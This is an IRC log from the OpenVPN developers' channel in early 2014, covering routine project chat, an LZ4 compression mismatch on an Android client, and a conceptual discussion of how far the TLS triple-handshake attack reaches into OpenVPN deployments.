[~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:58 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:58 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 11:05 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:51 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Write error: Broken pipe] 13:51 -!- waldner [waldner@openvpn/user/waldner] has quit [Remote host closed the connection] 13:51 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 13:57 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:58 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:05 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 15:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:06 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 15:39 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:39 -!- mode/#openvpn-devel [+o cron2] by ChanServ 17:23 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel --- Day changed Mon Feb 24 2014 03:37 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 03:37 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:49 -!- mattock is now known as mattock_afk 05:20 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 06:04 -!- mattock_afk is now known as mattock 06:45 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:45 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:40 -!- Netsplit *.net <-> *.split quits: @plaisthos, @dazo, @pekster, riddle 07:41 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:41 -!- mode/#openvpn-devel [+o andj__] by ChanServ 07:42 -!- Netsplit over, joins: riddle 07:45 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Write error: Broken pipe] 07:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:46 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 07:46 -!- ServerMode/#openvpn-devel [+oo plaisthos pekster] by kornbluth.freenode.net 07:46 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 07:46 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:47 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Remote host closed the connection] 07:47 -!- andj__ is now known as andj 07:48 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Excess Flood] 07:49 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 10:17 -!- mattock is now known as mattock_afk 10:47 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 10:47 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 11:00 -!- Netsplit *.net <-> *.split quits: @syzzer, @raidz, @vpnHelper, +krzee, @mattock_afk 11:06 -!- Netsplit over, joins: @vpnHelper, +krzee, @mattock_afk, @raidz 11:06 -!- Netsplit over, joins: @syzzer 12:37 -!- mattock_afk is now known as mattock 13:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 13:08 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:08 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:15 <@mattock> ldap->trac sync is now working 15:16 <@mattock> I will do some more testing and cleanups tomorrow and then make it a cronjob 15:17 <@mattock> in a nutshell it checks which Trac users ("authenticated sessions") don't have an associated email address, and copy over the user's email from LDAP for those users 15:17 <@mattock> it will not overwrite any email address the user may have set in Trac preferences already 15:31 -!- mattock is now known as mattock_afk 16:07 -!- dazo is now known as dazo_afk --- Day changed Tue Feb 25 2014 03:16 -!- dazo_afk is now known as dazo 05:00 <@mattock_afk> trac LDAP sync is now active (once per day atm) 06:18 -!- mattock_afk is now known as mattock 06:48 -!- mattock is now known as mattock_afk 08:22 -!- mattock_afk is now known as mattock 08:41 <@mattock> ecrist: ping 12:03 <@vpnHelper> RSS Update - tickets: #375: Improve MTU behavior <https://community.openvpn.net/openvpn/ticket/375> 13:19 -!- mattock is now known as mattock_afk 13:41 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 13:46 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:46 -!- mode/#openvpn-devel [+o dazo] by ChanServ 14:41 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 252 seconds] --- Log closed Tue Feb 25 14:41:45 2014 --- Log opened Tue Feb 25 22:29:51 2014 22:29 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 22:29 -!- Irssi: #openvpn-devel: Total of 15 nicks [10 ops, 0 halfops, 1 voices, 4 normal] 22:29 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 22:29 -!- Irssi: Join to #openvpn-devel was synced in 2 secs --- Day changed Wed Feb 26 2014 09:22 -!- ibins [~ibins@dslb-084-056-092-240.pools.arcor-ip.net] has joined #openvpn-devel 11:51 -!- dazo is now known as dazo_afk 13:47 -!- Netsplit *.net <-> *.split quits: ender| --- Log closed Wed Feb 26 13:58:01 2014 --- Log opened Wed Feb 26 14:25:22 2014 14:25 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 14:25 -!- Irssi: #openvpn-devel: Total of 16 nicks [10 ops, 0 halfops, 1 voices, 5 normal] 14:25 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 14:25 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 14:37 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 15:34 -!- ibins [~ibins@dslb-084-056-092-240.pools.arcor-ip.net] has quit [Write error: Broken pipe] 15:34 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] 15:35 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 252 seconds] 15:36 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:36 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:36 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 15:37 -!- dazo_afk is now known as dazo 15:37 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:44 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 15:47 -!- ibins [~ibins@dslb-084-056-092-240.pools.arcor-ip.net] has joined #openvpn-devel 15:49 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 15:49 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 265 seconds] 15:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:49 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:50 -!- dazo_afk is now known as dazo 16:08 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:09 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:09 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Thu Feb 27 2014 02:50 <@syzzer> morning 02:51 <@syzzer> it's been quiet for a while here 03:46 <+krzee> g'day 03:46 <+krzee> this time tomorrow ill be on a 20 hour trip to asia 03:46 <+krzee> probably on my second movie 04:26 <@dazo> syzzer: so you think I should start another flame war again here!? 04:40 -!- mattock is now known as mattock_afk 04:49 <@syzzer> dazo: yes please ;) 04:51 <@syzzer> what will be the subject? IM apps? Bitcoin? Build systems? :p 04:51 <@dazo> syzzer: careful what you wish for! ;-) ... Last time I believe cron2_ hated me for quite some time ... still not sure he has forgiven me yet .... 04:52 <@dazo> What about proposing to ditch iOS and OSX support completely ... those platforms are insecure by design .... :-P 04:52 <@syzzer> hehe, just playing around. I was just curious if it was just quiet or freenode was having issues again 04:52 <@syzzer> lot's of disconnects lately 04:52 <@dazo> there's been some ddos attacks against freenode lately 04:53 <@syzzer> yeah, i* products are always nice to bash on ;) 04:53 <@d12fk> how 'bout dis: http://www.alchaemy.com/page/selection/mac-pro 04:53 <@vpnHelper> Title: ALCHÆMY - Customizes your MacBook Pro, iPad or iPhone into 24kt Gold or 15 colors. (at www.alchaemy.com) 04:53 <@dazo> puuuuuke 04:55 <@dazo> d12fk: I believe those variants will be forbidden by law in Russia ... as it could be understood as promoting homosexuality 04:55 <@d12fk> lol 04:55 <@dazo> and Uganda too, of course 05:04 <@d12fk> i always wonder why ppl are so scared about homosexuals 05:11 <@cron2_> dazo: why am I hating you? 05:12 <@cron2_> (and actually, I think iOS is much more secure than all the other shit around - we're not using their crappy library, we use PolarSSL :) ) 05:12 -!- cron2_ is now known as cron2 05:15 <@dazo> cron2: Alon .... 05:16 <@dazo> I see you've recovered ... or at least depressed those memories :) 05:18 <@dazo> d12fk: I've been wondering about the same too 05:56 <@cron2> dazo: I never hated *you* for this :-) - I'm still not disagreeing with some decisions we did back then, like "src/openvpn/" :-) - but we decided, and part of "work in a community" is to accept and go on 05:57 <@cron2> not agreeing, even 05:57 <@dazo> :) 08:05 -!- mattock_afk is now known as mattock 08:49 -!- dazo is now known as dazo_afk 09:03 <@ecrist_> this ntp thing has helped with lots of ddos attacks lately 09:29 -!- mattock is now known as mattock_afk 10:21 -!- dazo_afk is now known as dazo 12:20 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 265 seconds] 12:20 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 13:19 -!- You're now known as ecrist 13:33 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 264 seconds] 13:43 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:43 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:01 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:04 -!- mattock is now known as mattock_afk 15:22 -!- dazo is now known as dazo_afk 17:35 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 17:36 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 17:36 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:36 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 17:45 -!- ibins [~ibins@dslb-084-056-092-240.pools.arcor-ip.net] has quit [Ping timeout: 272 seconds] 18:01 -!- ibins [~ibins@dslb-084-056-092-240.pools.arcor-ip.net] has joined #openvpn-devel 18:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 18:39 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 18:39 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 18:39 -!- dazo_afk is now known as dazo 18:43 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 18:54 -!- Netsplit *.net <-> *.split quits: ibins 19:07 -!- ibins [~ibins@dslb-084-056-092-240.pools.arcor-ip.net] has joined #openvpn-devel 19:10 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 264 seconds] 19:13 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 19:48 <@ecrist> raidz: is this guy on IRC? 23:27 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds] 23:35 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 23:35 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Fri Feb 28 2014 00:01 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 00:07 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 00:07 -!- mode/#openvpn-devel [+o pekster] by ChanServ 02:25 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 02:25 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:31 -!- mattock is now known as mattock_afk 05:38 -!- mattock_afk is now known as mattock 07:14 -!- mattock is now known as mattock_afk 08:05 <@ecrist> any of you developer types around can answer a question for me? 08:05 <@ecrist> what's the correct way to handle current messages to a named pipe? 08:58 <@dazo> read()/write() to the fd 09:01 <@dazo> ecrist: the questions is a bit vague ... but this can maybe provide some clues too: http://en.wikipedia.org/wiki/Named_pipe 09:01 <@vpnHelper> Title: Named pipe - Wikipedia, the free encyclopedia (at en.wikipedia.org) 09:06 <@ecrist> I thought we were getting interleaved messages, but it looks like our reader is going awol in between messages 09:16 -!- mattock_afk is now known as 1JTAAHKIE 09:19 <@dazo> uhmm .... okay 11:30 -!- 1JTAAHKIE is now known as mattock_afk 11:47 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] 12:16 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 12:16 -!- mode/#openvpn-devel [+o pekster] by ChanServ 15:53 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 240 seconds] 15:53 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 15:53 -!- mode/#openvpn-devel [+o pekster] by ChanServ 16:04 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 16:04 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 16:07 -!- dazo is now known as dazo_afk 16:08 -!- Netsplit *.net <-> *.split quits: @pekster 16:52 -!- pekster_ is now known as pekster --- Log opened Sat Mar 01 08:15:20 2014 08:15 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:15 -!- Irssi: #openvpn-devel: Total of 16 nicks [10 ops, 0 halfops, 1 voices, 5 normal] 08:15 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:15 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 08:36 <@syzzer> moar patches! 08:37 <@syzzer> anyone up for review? ;) 09:30 <@ecrist> what did you patch now? 09:36 <@cron2> syzzer: feature-ack :-) am a bit challenged code-review-wise, as sitting in a plane :-) 15:10 <@syzzer> ecrist: openssl --show-tls output :) 15:10 <@syzzer> openssl being openvpn-with-openssl 15:11 <@syzzer> cron2: interwebs from a plane, nice! 20:59 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 21:00 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 21:00 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Sun Mar 02 2014 04:29 <@plaisthos> Just looked at Nokia X 04:30 <@plaisthos> appereantly if I wanted to put my app on the Nokia Store I need a Export Commodity Classification Number (ECCN) 06:53 <+krzee> they running linux? 07:06 <@syzzer> Android 4.1, but without all the Google stuff 07:06 <@syzzer> so no play store, no gmail, etc 07:06 <+krzee> i kinda hate the google stuff, especially that my contacts *must* sync to google? that sucks 07:12 <@syzzer> does Android enforce that? I don't recall that being the case, I used to have an Android device that just did Exchange syncs, but that was the Android 2.x era 07:15 <+krzee> ahh well i dont use exchange, without a google account i cannot save contacts 07:15 <+krzee> and if i delete my google account, it erases my contacts 07:15 <+krzee> (until i add it back) 08:17 <@pekster> You can stop the account sync; just add the contact on the phone and it never touches google 08:18 <@pekster> I get prompted every contact I add; maybe there's a feature that controls if it asks that question? 11:25 <@plaisthos> krzee: you can sync with another provider or store them locally on the phone 11:25 <@plaisthos> for my the default contact storage is (my own private) exchange 14:02 <+krzee> plaisthos, how can you do local storage? 14:23 <@pekster> Contacts -> menu -> add contact -> "Create contact under account" -> "Phone-only, unsynced" 14:23 <@pekster> At least on whatever flavour of CM I'm running now 23:16 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 23:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 23:18 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 265 seconds] 23:18 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 23:18 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Mon Mar 03 2014 02:48 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 265 seconds] 02:52 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:52 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 02:52 -!- dazo_afk is now known as dazo 05:00 -!- mattock is now known as mattock_afk 06:11 -!- mattock_afk is now known as mattock 11:24 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 11:25 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:25 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:52 -!- mattock is now known as mattock_afk 13:08 <@dazo> hmmm ... yet another interesting openvpn option .... --auth-token ... 13:10 <@dazo> options.c --auth-token -> ssl.c:ssl_set_auth_token() -> misc.c:set_auth_token() ... which sets the argument to up->password ... and that's all 13:11 <@dazo> and if --management is enabled ... it does a msg( ... token) 14:03 -!- dazo is now known as dazo_afk 14:09 <@plaisthos> dazo_afk: that is ... confusing 14:38 <@ecrist> raidz: ping 15:15 <@raidz> hey ecrist 16:43 <@ecrist> do you want vpnHelper in #openvpn-as? 17:24 <@raidz> ecrist: that might be a good idea, however I need to run it by novaflash first since he pretty much runs that channel 17:24 <@raidz> appreciate the offer and will see what he thinks and get back to ya 17:24 <@ecrist> lol, he said the same thing about you when I asked him 17:25 <@raidz> haha 17:25 <@ecrist> it was mentioned to me. you guys would have your own factoid database, or I could mirror the main channel's, like I do in this room 17:25 <@raidz> first time I have heard about it, we haven't touched bases today though 17:26 <@raidz> I have a feeling we would need our own 17:27 <@ecrist> I could provide a unique database dumb page, as well --- Day changed Tue Mar 04 2014 01:30 -!- mattock_afk is now known as mattock 02:12 -!- mattock is now known as mattock_afk 02:15 -!- mattock_afk is now known as mattock 03:27 <@syzzer> gah, TLS is broken again: https://secure-resumption.com/ 03:27 <@vpnHelper> Title: Triple Handshakes Considered Harmful: Breaking and Fixing Authentication over TLS (at secure-resumption.com) 03:29 <@syzzer> tl;dr: a server can impersonate a client connecting to him towards a different server 03:31 -!- mattock is now known as mattock_afk 03:32 <+krzee> interesting 03:32 <+krzee> would that work against openvpn? 03:33 <+krzee> there are certain us agencies that are mitm on everything they want to be... 03:42 <@syzzer> for OpenVPN, it would mean that if one is using multiple OpenVPN setups with the same CA (and TLS-auth key if applicable), a server from one domain could be used to hop to the other domains 03:43 <+krzee> not sure i understand what you mean, but i do have multiple servers with the same CA 03:43 <+krzee> (and tls-auth key) 03:43 <@syzzer> but are they in different domains? 03:43 <+krzee> of course, thats just so they can --remote to all 03:44 <+krzee> not sure what you mean by different domains 03:44 <@syzzer> for example, one server at company A and another at company B 03:44 <+krzee> oh, nope 03:44 <+krzee> they are all entrance nodes to the same voip darknet 03:44 <+krzee> basically, its my failover 03:44 <@syzzer> in that case, if the server at company A is compromised, the attacker could use it to also compromise company B 03:46 <+krzee> how about if none are compromised, can this be levereged to gain access to the servers when not holding a cert? 03:46 <+krzee> or to MITM a client connection? 03:46 <@syzzer> in that case there's no real security breach. Although technically it would mean that an attacker 'just' needs to get his hands on the server cert+key and TA-key to get into your network, instead of compromising the server. 03:46 <@syzzer> no, to leverage this attack one needs a server cert+key 03:47 <+krzee> oh ok, i always assumed they could MITM the connection if they had the server cert/key 03:47 <@syzzer> valid for a client-trusted CA (which is why this *is* serious for the web, anyone can just order a server cert from a trusted CA) 03:48 <+krzee> ahh i see 03:48 <+krzee> so, far bigger implications for web because of the trust model 03:48 <+krzee> trust model fails again 03:49 <@syzzer> krzee: yes, for that specific connection they would, the trick is that they can also mitm to other servers from a CA trusted by the client with a single server key 03:49 <@syzzer> jups 03:49 <@syzzer> but the protocol itself fails too ;) 03:50 <+krzee> in other news, bitcoin has fully recovered from the empty-gox thing =] 03:51 <+krzee> (not sure if anyone here follows that stuff besides me) 04:33 <+krzee> thanks for the info 04:42 <@cron2> plaisthos: ar you around? 04:44 <@cron2> I have a user with a Samsung phone that got upgraded to Android 4.3 (from 4.1) and OpenvPN stopped working 04:51 <@plaisthos> cron2: yeah 04:51 <@plaisthos> cron2: Is there a more precise error than "stopped working"? 04:59 <@cron2> plaisthos: vpn starts up, but the tunnel endpoint is not pingable and the client can't get anywhere 04:59 <@cron2> I asked for a log 04:59 <@cron2> it's like "no routes are installed" (but it's 4.3 and IPv4, so "not the usual issue") 05:00 <@plaisthos> yeah 05:00 <@plaisthos> could also be a bug in the newest ics-openvpn version 05:00 <@plaisthos> that it for some reason thinks that the networks routes should be excluded from the VPN 05:01 <@plaisthos> but that should be visible in the log 05:02 <@cron2> IV_GUI_VER=de.blinkt.openvpn_0.6.9a 05:02 <@cron2> is that current? 05:03 <@plaisthos> yes 05:07 <@cron2> ok... let's wait for the log (I'm acctually in Saudi-Arabia today, and $colleague called and was very upset about his VPN not working... can't test Android right now, as I'm in a corporate network that needs MACs registered first and the n7 isn't...) 06:22 <@cron2> ok, there are no errors in the logs, it installs everything (afaics) 06:22 <@cron2> aw shit 06:25 <@cron2> 2014-03-04 12:14:23 Bad LZ4 decompression header byte: 250 06:25 <@cron2> there we go... the (new) client advertises IV_LZ4, the server has a cc-script that pushes "compress lz4", but the openvpn daemon *running* is actually too old to understand lz4 and sends lzo/snappy 06:25 <@cron2> the daemon *installed* has snappy... but hasn't been restarted for weeks 06:34 -!- Netsplit *.net <-> *.split quits: ibins 06:39 <@plaisthos> cron2: :) 06:40 <@plaisthos> and the current version of my software adds lz4 support 09:08 -!- dazo_afk is now known as dazo 11:58 -!- mattock_afk is now known as mattock 12:15 <@plaisthos> I updated http://community.openvpn.net/openvpn/wiki/Patches 12:15 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 12:31 * plaisthos just looked at his multiple socket code 12:32 <@plaisthos> that code is now 1 year old. I have no idea what current state is :/ 14:30 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 14:33 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:33 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:50 <@plaisthos> cron2: oh did not see your reply before writing mine ;/ 15:18 <@dazo> plaisthos: in this case, I think it's good to have two answers actually saying the same 15:18 <@dazo> (NAK) 15:44 -!- dazo is now known as dazo_afk 15:55 -!- mattock is now known as mattock_afk 16:59 <@syzzer> plaisthos: wow, that's a long list of patches under review. I made some small changes to the patch list too. --- Day changed Wed Mar 05 2014 00:45 -!- mattock_afk is now known as mattock 00:59 <@cron2> yeah, we'll need to pick up speed again in the coming weeks 02:11 -!- Netsplit *.net <-> *.split quits: @pekster 03:01 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 03:01 -!- ServerMode/#openvpn-devel [+o pekster] by sendak.freenode.net 04:05 <@plaisthos> syzzer: yeah :/ 04:06 <@plaisthos> And I have two patches that need to go in that haven't even submitted 04:08 <@plaisthos> to fix the openssl problem the *client* OpenSSL library needs to be updated, right? 04:08 -!- mattock is now known as mattock_afk 04:09 -!- mattock_afk is now known as mattock 04:44 <@cron2> plaisthos: what openssl problem? 05:08 <@plaisthos> cron2: the triple tls handshake 05:08 <@plaisthos> cron2: http://www.heise.de/security/meldung/Triple-Handshake-hebelt-TLS-aus-2132784.html 05:08 <@vpnHelper> Title: Triple Handshake hebelt TLS aus | heise Security (at www.heise.de) 05:09 -!- dazo_afk is now known as dazo 05:20 <@cron2> oh, that one. Haven't fully understood that one yet 05:21 <@cron2> so what does it need to succeed? "arbitrary MITM" or "rogue server with a valid server certificate"? 05:22 <@plaisthos> As far as I understood I basically goes like this. CLient A does a tls auth to server B, B says lets renogiate but instead of using that renogiation with B, B does a second TLS session with C and tricks the A into authentication the TLS session to C 05:22 <@plaisthos> cron2: rogue server with valid certificate as far as I understood 05:24 <@cron2> I see. So it's possible, but the risk is limited and you'd need very specific circumstances to make this a viable attack ("there is an openvpn server that I want to get access to, I have his certificate and can access the network path/DNS to MITM, but have no access to the server itself" 05:26 <@cron2> I'm just so slightly annoyed about the researchers informing *browser vendors* only, though... 05:26 <@plaisthos> cron2: for browser CA the impact is *much* higher 05:26 <@plaisthos> As I understood it works as long both server (B and C) use the same CA 05:27 <@plaisthos> getting a certificate with the same CA is easy for HTTPS (versign and so on will just sell you one) 05:28 <@plaisthos> but yeah, it basically affetcts all applications using TLS with client certificates 05:28 <@cron2> true, but is this about the server cert or the client cert? client cert (in my use cases) is usually self-signed and only the server has the ca.crt to check (for https!) 05:28 <@cron2> I wouldn't use a commercial CA to trust client certs... 05:28 <@plaisthos> cron2: the attack is kind of useless when no client certs are used 05:30 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 05:56 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 265 seconds] 05:56 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 05:57 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:36 -!- funnel [~funnel@unaffiliated/espiral] has quit [Quit: leaving] 08:36 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 08:50 -!- funnel [~funnel@unaffiliated/espiral] has quit [Changing host] 08:50 -!- funnel [~funnel@unaffiliated/motley] has joined #openvpn-devel 08:53 -!- funnel [~funnel@unaffiliated/motley] has quit [Changing host] 08:53 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 09:02 -!- funnel [~funnel@unaffiliated/espiral] has quit [Quit: leaving] 11:23 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:24 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:29 -!- siruf [siruf@unaffiliated/motley] has joined #openvpn-devel 11:32 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 13:48 -!- mattock is now known as mattock_afk 13:57 -!- siruf [siruf@unaffiliated/motley] has left #openvpn-devel [] 13:59 <@dazo> syzzer: seen this one? https://twitter.com/matthew_d_green/status/441237583725875200 13:59 <@vpnHelper> Title: Twitter / matthew_d_green: Quick summary of todays ... (at twitter.com) 14:00 <@dazo> more info: http://eprint.iacr.org/2014/161.pdf 14:27 -!- justinzane [~justinzan@tiny.justinzane.com] has joined #openvpn-devel 14:28 < justinzane> hello everyone 14:32 -!- dazo is now known as dazo_afk 15:21 <@syzzer> dazo_afk: no, haven't seen that one yet, interesting! 15:21 <@syzzer> justinzane: hi :) 16:15 <@syzzer> dazo_afk: it seems matt green's statement is a bit to broad. ECDSA is not broken, the OpenSSL implementation of secp256k1 is broken. There are probably more curve implementations broken, but for example the P-256 implementation in OpenSSL is constant-time and thus not vulnerable to this attack :) Still an interesting read though! 16:28 <@syzzer> cron2, plaisthos: the tls resumption attack is specifically for when client certs are used 16:29 <@syzzer> a rogue server could impersonate a client that connects to him, and use the clients access rights based on the client cert to get access to some other server the client has access to 16:30 <@syzzer> so by owning one server (or getting its certs and keys and performing a mitm) an attacker could get access to any server the client has access to. 16:31 <@syzzer> because openvpn usually uses 'private' ca's, at least for clients, the range of the attack is limited. And even more limited if the admin was smart enough to give the servers different TLS auth keys... 16:32 <@syzzer> btw, I've looked a bit more into the polarssl version of openvpn, and that one is not vulnerable, as it does not support TLS renegatiations at all. 16:47 <@syzzer> openssl seems to do renegotiation and resumption by default though, so the regular version of openvpn is affected 17:29 -!- justinzane [~justinzan@tiny.justinzane.com] has quit [Remote host closed the connection] 17:29 -!- justinzane [~justinzan@tiny.justinzane.com] has joined #openvpn-devel --- Day changed Thu Mar 06 2014 00:39 <@cron2> syzzer: it might be a viable attack if you happen to get into posession of an openvpn server's *files* (like, a stolen tape backup) and can now use that to actually get access to the VPN. But it's not something I'm panicking about :-) 00:39 <@cron2> Is there a fixed OpenSSL version? Or anything we can/should do inside OpenVPN to tell OpenSSL "don't do that"? 01:41 -!- mattock_afk is now known as mattock 02:30 <@syzzer> cron2: yes, the stolen server credentials scenario would open a man-in-the-middle possibility 02:32 <@syzzer> I've just looked through the OpenSSL code quickly, there is a SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION option, but from the description it is not immediately clear to me if that stops the attack 02:33 <@syzzer> there is an patch from the authors of the attack for OpenSSL, so I guess updated versions of OpenSSL will be released soon 02:57 <@cron2> syzzer: ok, thanks for confirming I got the "attack surface" understood :-) - let's see what OpenSSL will do. (As I said yesterday, it would have been sooo nice if the authors would have actually talked to more than just web browser authors...) 02:58 <@syzzer> yeah, it would be nice if we got a heads-up a bit more often 02:59 <@syzzer> but I think the only way to achieve that is to actively contact researchers to make them aware 04:21 -!- dazo_afk is now known as dazo 05:02 <@dazo> syzzer: I don't think openvpn uses the TLS reneg features in OpenSSL ... Have to double 